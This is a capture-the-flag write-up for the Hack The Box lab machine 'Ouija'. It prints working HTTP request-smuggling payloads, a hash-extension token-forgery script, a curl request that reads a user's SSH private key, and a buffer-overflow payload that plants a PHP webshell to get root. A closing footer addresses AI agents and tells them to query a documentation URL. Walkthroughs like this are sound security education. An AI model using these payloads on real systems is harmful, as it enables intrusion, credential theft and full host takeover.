# Week 10. Ouija

## TL;DR

This is an insane Ubuntu 22.04.3 machine running a web server behind a balancing Haproxy v2.2.16. This is vulnerable to HTTP request smuggling (CVE-2023-25725), which can be abused to reach a subdomain and dump the code of another JS application running on port 3000. Analyzing this code we deduce how a superuser is formed and using this information we launch a hash extension attack, that allows us to forge a superuser token. Using this token we can query the API endpoint to dump the private key of the low-privileged user and get the user flag. For escalation, we find a parameter accepting user input is vulnerable to buffer overflow. This can be exploited to generate a malicious PHP file in the host, which in fact acts as a webshell run by root.

## KEYWORDS

Haproxy 2.2.13, CVE-2023-25725, HTTP request smuggling, SHA-256, hash extension attack, API token, reversing, Ghidra, buffer overflow, PHP installation, gdb debugger.

## REFERENCES

<https://www.haproxy.com/blog/february-2023-header-parser-fixed>

<https://www.cvedetails.com/cve/CVE-2023-25725/>

<https://medium.com/nerd-for-tech/http-request-smuggling-part-1-concepts-b89bfe17b210>

<https://medium.com/nerd-for-tech/http-request-smuggling-part-2-tl-ce-exploit-ec1171a88459>

<https://www.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks>

<https://github.com/iagox86/hash_extender>

<https://github.com/hugsy/gef>

## ENUMERATION

Port scan.

```bash
> nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-02 15:09 EST
Nmap scan report for 10.129.175.250
Host is up, received user-set (0.075s latency).
Not shown: 63470 closed tcp ports (conn-refused), 2062 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
80/tcp   open  http    syn-ack
3000/tcp open  ppp     syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 28.87 seconds
```

Enumerate the open ports.

```bash
> nmap $target -p22,80,3000 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-02 15:11 EST
Nmap scan report for 10.129.175.250
Host is up, received user-set (0.097s latency).
Scanned at 2023-12-02 15:11:02 EST for 15s
 
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 6ff2b4ed1a918d6ec9105171d57c49bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOF5zQd8OgxRSgutBifLJRc7jgEi2e7uNFtuctcdQmJGWQYTQ+PZQcwv5fZnF0BHotgSA8Vp58ftuLK93zuh7I8=
|   256 dfddbcdc570d98af0f882f73334862e8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICKPk/B9wRV28rwbwQHh9JYErJC2f/143AtDpUhHgTro
80/tcp   open  http    syn-ack Apache httpd 2.4.52
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    syn-ack Node.js Express framework
|_http-favicon: Unknown favicon MD5: 03684398EBF8D6CD258D44962AE50D1D
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 14.79 seconds
```

Continue fuzzing for subdomains.

```bash
> ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 10671 -t 100 -u http://ouija.htb -H "Host: FUZZ.ouija.htb"
 
        /'___\  /'___\           /'___\      
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://ouija.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.ouija.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 10671
________________________________________________
 
dev2                    [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 139ms]
dev                     [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 456ms]
devel                   [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 80ms]
development             [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 103ms]
dev1                    [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 85ms]
develop                 [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 80ms]
dev3                    [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 124ms]
developer               [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 114ms]
dev01                   [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 102ms]
dev4                    [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 92ms]
developers              [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 100ms]
dev5                    [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 90ms]
devtest                 [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 91ms]
dev-www                 [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 87ms]
devil                   [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 82ms]
dev.m                   [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 412ms]
:: Progress: [4989/4989] :: Job [1/1] :: 622 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
```

There is a web server running on port 80, and a subdomain running on <http://dev.ouija.htb>

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/ed494b82-e786-4cd7-9ed3-391ca70b0505" alt=""><figcaption></figcaption></figure>

Inspecting the source code in Firefox, we find another subdomain on <http://gitea.ouija.htb>

<div align="left"><figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/d4324a65-52cb-49c5-9da8-1f334c06951a" alt="" width="563"><figcaption></figcaption></figure></div>

Browse the Gitea server, register a new account and log in. List the instructions on how the `ouija` server has been set up. It uses an Haproxy application version 2.2.16.

<div align="left"><figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/8da9fb15-017c-4520-9095-c2644fb22bd4" alt=""><figcaption></figcaption></figure></div>

Finally, enumerate the API running on <http://gitea.ouija.htb/api/swagger>

Most of the endpoints require an authentication token but the endpoint `/users/search` dumps the username `leila` without authentication.

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/5f8ddfee-2e85-48a2-857d-8810a0178a77" alt=""><figcaption></figcaption></figure>

Take note of this username and move forward.

## USER

Looking for Haproxy 2.2.16 vulnerabilities, we find out it is vulnerable to HTTP request smuggling: <https://www.haproxy.com/blog/february-2023-header-parser-fixed>. CVE details available here: <https://www.cvedetails.com/cve/CVE-2023-25725/>

There are good articles to investigate what HTTP request smuggling is here: <https://medium.com/nerd-for-tech/http-request-smuggling-part-1-concepts-b89bfe17b210> and here: <https://medium.com/nerd-for-tech/http-request-smuggling-part-2-tl-ce-exploit-ec1171a88459>

The Hhaproxy application is installed for traffic balancing purposes. We can abuse the HTTP CE.TE smuggling vulnerability to reach the `dev.ouija.htb` subdomain.

Payloads can be smuggled with Burpsuite, just deactivate the automatic update of the content length.

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/111e9d48-de54-4aa1-b5ea-eb7c0e37eb11" alt=""><figcaption></figcaption></figure>

The following payload allows reaching the `dev.ouija.htb` subdomain exploiting HTTP smuggling.

{% code overflow="wrap" %}

```http
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 40
 
GET http://dev.ouija.htb HTTP/1.1
x:Get / HTTP/1.1
Host: ouija.htb
```

{% endcode %}

In the response we find 2 interesting files:

```http
http://dev.ouija.htb/editor.php?file=app.js
http://dev.ouija.htb/editor.php?file=init.sh
```

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/42eb38e3-2789-4c80-b094-d618ab2ce845" alt=""><figcaption></figcaption></figure>

Using the HTTP request smuggling again we dump the contents of both files. First, for the `init.sh` file we use the same payload, just update the `content-length` to match the size of the request.

{% code overflow="wrap" %}

```http
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 63
 
GET http://dev.ouija.htb/editor.php?file/app.js HTTP/1.1
x:Get / HTTP/1.1
Host: ouija.htb
```

{% endcode %}

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/f39b1033-e0fc-43ee-9f3f-daec56e660b1" alt=""><figcaption></figcaption></figure>

The file `init.sh` contains a hash and a username.

{% code overflow="wrap" %}

```bash
#!/bin/bash
 
echo "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log
 
exit 1
```

{% endcode %}

This is not useful for the moment, so we take note and dump the other `app.js` file. The payload is the same, just remember to update the `content-length` accordingly in the request.

{% code overflow="wrap" %}

```http
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 63
 
GET http://dev.ouija.htb/editor.php?file/app.js HTTP/1.1
x:Get / HTTP/1.1
Host: ouija.htb
```

{% endcode %}

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/eb72adfb-662d-4ce2-bb76-c768c5dff680" alt=""><figcaption></figcaption></figure>

&#x20;

This file contains the source code of an application running on port 3000.

```javascript
var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;
 
app.listen(3000, ()=>{ console.log("listening @ 3000"); });
 
function d(b){
    s1=(Buffer.from(b, 'base64')).toString('utf-8');
    s2=(Buffer.from(s1.toLowerCase(), 'hex'));
    return s2;
}
function generate_cookies(identification){
    var sha256=crt.createHash('sha256');
    wrap = sha256.update(key);
    wrap = sha256.update(identification);
    hash=sha256.digest('hex');
    return(hash);
}
function verify_cookies(identification, rhash){
    if( ((generate_cookies(d(identification)))) === rhash){
        return 0;
    }else{return 1;}
}
function ensure_auth(q, r) {
    if(!q.headers['ihash']) {
        r.json("ihash header is missing");
    }
    else if (!q.headers['identification']) {
        r.json("identification header is missing");
    }
 
    if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {
        r.json("Invalid Token");
    }
    else if (!(d(q.headers['identification']).includes("::admin:True"))) {
        r.json("Insufficient Privileges");
    }
}
 
app.get("/login", (q,r,n) => {
    if(!q.query.uname || !q.query.upass){
        r.json({"message":"uname and upass are required"});
    }else{
        if(!q.query.uname || !q.query.upass){
            r.json({"message":"uname && upass are required"});
        }else{
            r.json({"message":"disabled (under dev)"});
        }
    }
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {
    ensure_auth(q, r);
    r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
    ensure_auth(q, r);
    if(!q.query.file){
        r.json({"message":"?file= i required"});
    }else{
        let file = q.query.file;
        if(file.startsWith("/") || file.includes('..') || file.includes("../")){
            r.json({"message":"Action not allowed"});
        }else{
            fs.readFile(file, 'utf8', (e,d)=>{
                if(e) {
                    r.json({"message":e});
                }else{
                    r.json({"message":d});
                }
            });
        }
    }
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});
```

The app running on port 3000 runs several APIs, we just need to focus on `/get/file` and `/users`. These endpoints use token authentication which is enforced in function `ensure_auth`. An user authenticates sending 2 headers: `ihash` and `identification`

The identification header is formed taking an username and appending certain string, then it is base64-encoded. Finally, a SHA-256 hash is calculated on the resulting string using a secret key stored in env variable `k`, but we do not know this key or its length.

The `ihash` header is a signature hash that will be compared to the resulting identification to verify user's identity.

If we remember the `init.sh` file, we already know the value of the prepended data and the hash, so we we can launch a hash extension attack (<https://www.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks>).

Install the `hash_extender` tool from GitHub: <https://github.com/iagox86/hash_extender>

```bash
> git clone https://github.com/iagox86/hash_extender
> cd hash_extender
> make
```

Several deprecation warnings prevent making the application, but this can be solved editing the `Makefile` and adding `-Wno-deprecated-declarations` in the CFLAGS line.

{% code overflow="wrap" %}

```bash
> vim Makefile
CFLAGS          := -std=c89 -g -oS -Wall -Werror -Wno-deprecated-declarations
```

{% endcode %}

We do not know the size of the secret, so we will have to brute force it. First step is to generate a file called `strings` containing hashes from size 1 to 47. We use the username `bot1:bo` from the `init.sh` file, and the append string is `::admin:True`. The signature hash is taken also from the `init.sh` file. Finally, the results are base64 encoded and written to the `strings` file.

{% code overflow="wrap" %}

```bash
> for i in $(seq 1 47); do ./hash_extender --data bot1:bot --append '::admin:True' -f sha256 -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -l $i | grep 'New string' | awk -F': ' '{print $2}' | base64 -w 500 >> strings;done
> wc -l strings
47 strings
```

{% endcode %}

We also need the `New signature`, we grab it launching a `hash_extender` with whatever length, (e.g. 20).

{% code overflow="wrap" %}

```bash
> ./hash_extender --data bot1:bot --append '::admin:True' -f sha256 -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -l 20
 
Type: sha256
Secret length: 20
New signature: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b
New string: 626f74313a626f748000000000000000000000000000000000000000000000000000000000000000000000e03a3a61646d696e3a54727565
```

{% endcode %}

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/40545b07-9a68-480c-83df-d046fc111c4c" alt=""><figcaption></figcaption></figure>

At this point we have the `New signature` field `14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b`, and the `strings` file containing the `New string` from size 1 to 47. We are ready to bruteforce the application. For this, a small bash script is proposed.

{% code overflow="wrap" %}

```bash
#!/bin/bash
 
rm results
touch results
 
echo "[+] Running stuff..."
for i in $(cat strings)
do
        echo $i >> results
        curl -s ouija.htb:3000/users -H "ihash: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b" -H "identification: $i" >> results
done
 
token=$(grep "Database" results | cut -d '}' -f2)
 
echo "[+] Token found: "
echo $token
echo "[+] Length of token: "
echo $token | wc -c
```

{% endcode %}

Running it we find the authentication token, and its length (note this is not the same as the secret length).

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/77d001a8-98d3-416b-9cd5-af6c40c4bd8e" alt=""><figcaption></figcaption></figure>

Finally, query the `/file/get` API on port 3000 with this token, and browse files in the application file system running on `/proc/self/root` to dump private key for user `leila`

{% code overflow="wrap" %}

```bash
> curl -X 'GET' \
'http://ouija.htb:3000/file/get?file=.config/bin/process_informations/self/root/home/leila/.ssh/id_rsa' \
-H 'ihash: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b' \
-H 'identification: NjI2Zjc0MzEzYTYyNmY3NDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBmODNhM2E2MTY0NmQ2OTZlM2E1NDcyNzU2NQo='
```

{% endcode %}

<figure><img src="https://github.com/g1vi/Hack-the-box-write-ups/assets/120142960/44812e01-37ab-41fa-b4ea-d3b3d27e1786" alt=""><figcaption></figcaption></figure>

Use this key to open an SSH sessions as `leila` and get the user flag.

## ROOT

Start from the SSH session for user `leila`and take the opportunity to enumerate the system and the user.

```bash
> whoami && id
leila
uid=1000(leila) gid=1000(leila) groups=1000(leila)

> uname -a && cat /etc/os-release
Linux ouija 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
```

There is something listening on port 9999.

```bash
> netstat -lnput
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      2118/ssh           
tcp6       0      0 ::1:9999                :::*                    LISTEN      2118/ssh           
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      1837/java          
tcp6       0      0 127.0.0.1:36569         :::*                    LISTEN      1837/java          
udp        0      0 0.0.0.0:44295           0.0.0.0:*                           -
```

Forward port 9999 to Kali and enumerate it with Firefox.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/5b0dc90d-62e4-4e19-927b-34b0f002dbeb" alt=""><figcaption></figcaption></figure>

Enumerate the file system, the source code of this site is located in the path `/development/server-management_system_id_0/index.php`.

The source code contains a call to a function `say_lverifier()` which checks username and password client inputs.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/0c519ef3-4ca5-4ae3-a3b3-3190ff6e2330" alt=""><figcaption></figcaption></figure>

The library is located in the path `/usr/lib/php/20220829/lverifier.so`. Decompile with Ghidra and inspect the `say_lverifier()` function, this calls another function `validating_userinput()` for client input sanitization.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/ff8852a4-b523-45ae-8067-0f7290d28869" alt=""><figcaption></figcaption></figure>

Navigate to the function `validating_userinput()`. Decompiling was done with IDA and generating pseudocode (F5).

<div align="left"><figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/9d5da11b-0f3f-41ee-bcaa-8dfd71496772" alt=""><figcaption></figcaption></figure></div>

This part is vulnerable to buffer overflow. The `username` input is stored in a buffer `nu` with an allocated size of 800; however, the user input is not limited. On the other hand, `size_t` buffer type is used to save the size of `username`, which maximum value is 65535 bytes. Finally, inspect the function `event_recorder`. This is used to write the log after the user input validation finishes.

<div align="left"><figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/9f33e94a-08b4-46f9-aa52-44d8ed53b474" alt=""><figcaption></figcaption></figure></div>

To fuzz the buffer overflow we need to set up a test rig running PHP and `gdb` (C/C++ debugger). The rig machine will be an Ubuntu 22.04.2 host with PHP 8.2.

First, install PHP.

```bash
> add-apt-repository ppa:ondrej/php
 
> apt update && apt install -y php8.2 php8.2-cli php8.2-{bz2,curl,mbstring,intl}
 
> apt install -y php8.2-fpm
 
> a2enconf php8.2-fpm
Enabling conf php8.2-fpm.
To activate the new configuration, you need to run:
 systemctl reload apache2
 
> systemctl reload apache2
```

Verify PHP installation.

```bash
> php –v
PHP 8.2.15 (cli) (built: Jan 20 2024 14:17:05) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.2.15, Copyright (c) Zend Technologies
with Zend OPcache v8.2.15, Copyright (c), by Zend Technologies
```

Verify `gdb` is installed (should be the case by default in Ubuntu), then install `gef` (gdb enhancer features <https://github.com/hugsy/gef>).

```bash
> gdb –v
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
 
> bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
```

Once PHP is installed and running, we will load the `lverifier.so` file.

```bash
> cp /mnt/lverifier.so /usr/lib/php/20220829
 
> chmod +x /usr/lib/php/20220829/lverifier.so
```

Finally, modify the `php.ini` and `lverifier.ini` files.

```bash
> echo "extension=lverifier.so" > /etc/php/8.2/cli/conf.d/50-lverifier.ini
 
> sed -i 's/enable_dl = Off/enable_dl = On/g' /etc/php/8.2/cli/php.ini
```

Run PHP under the `gdb` environment to debug the application.

```bash
> gdb php
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
 
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from php...
(No debugging symbols found in php)
 
> gef➤  run -a
Starting program: /usr/bin/php -a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Interactive shell
```

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/92e355d4-a7e5-4e79-aa1b-24a3b1f97a26" alt=""><figcaption></figcaption></figure>

Make the application crash by sending a large input in the `username` parameter.

```bash
php > $username = str_repeat('A', 4096000);
php > $x = say_lverifier($username, 'password');
```

<div align="left"><figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/23be2d7a-3625-40fe-af69-000e524e50f0" alt="" width="563"><figcaption></figcaption></figure></div>

The application crashes and dumps the register content.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/b7d2389a-171c-41e2-9af6-93e1c814feca" alt=""><figcaption></figcaption></figure>

Before restarting it, add a breakpoint in the `event_recorder` function, this will be useful in the next step.

```bash
b event_recorder
```

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/c72a23b4-1e9e-4709-a921-dcd8c991e1fa" alt=""><figcaption></figcaption></figure>

In order to control the registers, we need to know the offset of the payloads. For this, create a pattern size 65535 with `pwntools` or `msf-pattern_create`, then feed it to the application and let it crash.

Inspect the content of the `p` and `w` parameters of the `event_recorder` function.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/3e81575a-4da1-4038-9ff5-a9d3db023fa4" alt=""><figcaption></figcaption></figure>

And find their position in the pattern.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/04f01471-9031-4c39-a778-4c4079ef5c08" alt=""><figcaption></figcaption></figure>

So we have found that when we feed a large input in the `username` parameter, it overflows and overwrites parameters `p` (position 16 of the input payload) and `w` (position 128 of the input payload) in the `event_recorder` function. Also, we know the user input for `username` is assigned to a buffer size 800.

Abusing the buffer overflow we can manipulate the `event_recorder` function parameters, and therefore control the output log path and its content. In fact, manipulating the last part of the log path we can also manipulate the log content.

To get a root shell we will create a directory in the victim machine whose name is actual PHP code. Then we will use the overflow to write the PHP file to the web directory, so it can be exploited from a web browser. At the end, the final written log will also contain our directory name, which is the PHP code.

First, create a directory in `leila` SSH shell. The directory name itself is PHP code in fact.

```bash
> mkdir "/var/tmp/<?=\`\$_GET[0]\`?>"
```

To generate the payload, we will use a Python interpreter.

{% code overflow="wrap" %}

```bash
>>> a = '/var/tmp/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/index.php'
>>> len(a)
86
>>> '/'*714 + a + 'A'*64738
'///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////var/tmp/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/index.phpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
```

{% endcode %}

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/afaf3575-1293-443b-92be-c9a00ee78839" alt=""><figcaption></figcaption></figure>

Back in Kali, capture a login attempt in <http://localhost:9999> and use repeater to insert the payload in the `username` parameter.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/88fd7e73-ae57-4a76-8d39-7e7c83f60eaa" alt=""><figcaption></figcaption></figure>

Send the payload and verify an `index.php` file containing the malicious PHP code has been created in the victim machine in the path `/development/server-management_system_id_0/index.php`

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/3973763b-f55a-4146-adce-44846c308f6b" alt=""><figcaption></figcaption></figure>

Now we can send a reverse shell using the `index.php` file. Let's verify first in a browser we have RCE (i.e. a webshell).

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/c1850e48-c879-43bf-8222-1235521b08e9" alt=""><figcaption></figcaption></figure>

The only thing that's left is to prepare a reverse shell payload and send it with Burpsuite.

<figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/642c800f-3d18-4916-a8b0-be96f259f154" alt=""><figcaption></figcaption></figure>

A reverse shell is received on port 1919.

<div align="left"><figure><img src="https://github.com/g1vi/AllTheWriteUps/assets/120142960/14720174-a3ab-4f33-ae2b-7f08f3dd27f2" alt="" width="375"><figcaption></figcaption></figure></div>

You are root.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://allthewriteups.gitbook.io/book/hack-the-box/seasonal/open-beta-season-3/week-10.-ouija.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
